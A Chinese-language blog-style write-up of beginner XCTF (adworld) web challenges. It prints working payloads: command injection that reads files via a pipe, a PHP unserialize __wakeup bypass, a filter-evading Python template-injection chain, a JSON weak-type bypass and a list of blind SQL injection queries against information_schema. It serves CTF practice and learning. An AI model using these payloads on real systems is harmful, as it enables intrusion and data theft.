adworld web wp

前几天打了几个比赛被锤成智障,还是刷刷题吧orz【xctf的攻防世界

新手练习

这块都是简单的基础题,不过还是做做看

view_source

F12

get_post

用hackbar提交即可

robots

打开robots.txt提示f1ag_1s_h3re.php
访问即为flag

backup

提示备份于是打开index.php.bak,下载读取获得flag

抓包发现cookie提示cookie.php,然后访问再抓包,flag在http头中

disabled_button

F12把disabled改成abled即可

simple_js

先读一下js源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');
var i,j,k,l=0,m,n,o,p = "";
i = 0;j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;
}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;
return pass;
}
a = String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

h = window.prompt('Enter password');
alert( dechiffre(h) );

会发现这里无论输入什么都是没用的
不过可以看到源码里有一串ascii码

\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30

用python连续两次解码得到786OsErtk12

xff_referer

修改一下头就ok
x-forwarded-for:123.123.123.123
Referer: https://www.google.com

weak_auth

弱密码123456

webshell

既然都写在index里了,那就直接菜刀连,读flag.txt

command_execution

尝试www.baidu.com|ls没有flag有关文件
于是直接www.baidu.com|ls ../../../home发现flag.txt
www.baidu.com|cat ../../../home/flag.txt得flag

simple_php

简单的弱类型,payload:?a=0.0&b=1235a

萌新入门

这里开始就有些东西了

unserialize3

给了源码,读一下

1
2
3
4
5
6
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

应该是code参数传入的直接反序列化,然后触发weakup就直接exit
于是构造参数与属性不等的序列化字符串即可
payload:
O:4:”xctf”:2:{s:4:”flag”;s:3:”111”;}
这里参数可能一定要大于属性数量,不知道为什么0的时候不行

Confusion1

进去看图

蟒蛇捆大象,盲猜python后台
然后点login和register都提示404没有该php,八成是python了【虽然抓包后服务器是apache,脚本是php。不过看图估计是故意伪装成php的吧,这就符合题目了
于是在url后尝试2,成功输出2
然后F12在源码中发现

于是尝试 ''.__class__.__mro__[-1].__subclasses__()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read()

发现被过滤
试了一下,发现是class,mro和read被过滤
然后又试了一下,发现传参时并不会过滤,那么构造payload:

{`{‘’[request.args.a][request.args.b][2]request.args.c40request.args.d}}?a=class&b=mro&c=subclasses&d=read`

Lottery

仿佛是很久以前做过的一道题,不过之前做的是C++的逻辑漏洞题
这里直接给了源码,看了一下robots.txt提示/.git/,估计比赛时是要用githack拿源码的
然后读源码,读了很久没发现有什么问题,后来才知道是用了弱类型漏洞,果然审计还不过关orz
api.php的buy部分,可以看到$numbers这接收数据却没有检查类型,然后就直接与数字对比。这里就很简单的布尔与数字对比的弱类型漏洞,然后json支持布尔数据,于是抓包修改

payload:
{"action":"buy","numbers":[true,true,true,true,true,true,true]}

跑两次然后去买flag

NewsCenter

一道非常直接的盲注题
尝试1搜得出信息,-1不行,于是尝试盲注,貌似什么都没过滤

payload:

1
2
3
4
5
6
7
8
-1' or (select length(GROUP_CONCAT(SCHEMA_NAME)) from information_schema.schemata)=50 or '
-1' or (select ascii(mid(GROUP_CONCAT(SCHEMA_NAME),1,1)) from information_schema. schemata)=64 or '
-1' or (select length(GROUP_CONCAT(table_name)) from information_schema.tables where table_schema=database())=50 or '
-1' or (select ascii(mid(GROUP_CONCAT(table_name),1,1))from information_schema.tables where table_schema=database())=64 or '
-1' or (select length(GROUP_CONCAT(column_name)) from information_schema.columns where table_name='secret_table')=50 or '
-1' or (select ascii(mid(GROUP_CONCAT(column_name),1,1))from information_schema.columns where table_name='secret_table')=64 or '
-1' or (select length(GROUP_CONCAT(fl4g)) from secret_table)=50 or '
-1' or (select ascii(mid(GROUP_CONCAT(fl4g),1,1))from secret_table)=64 or '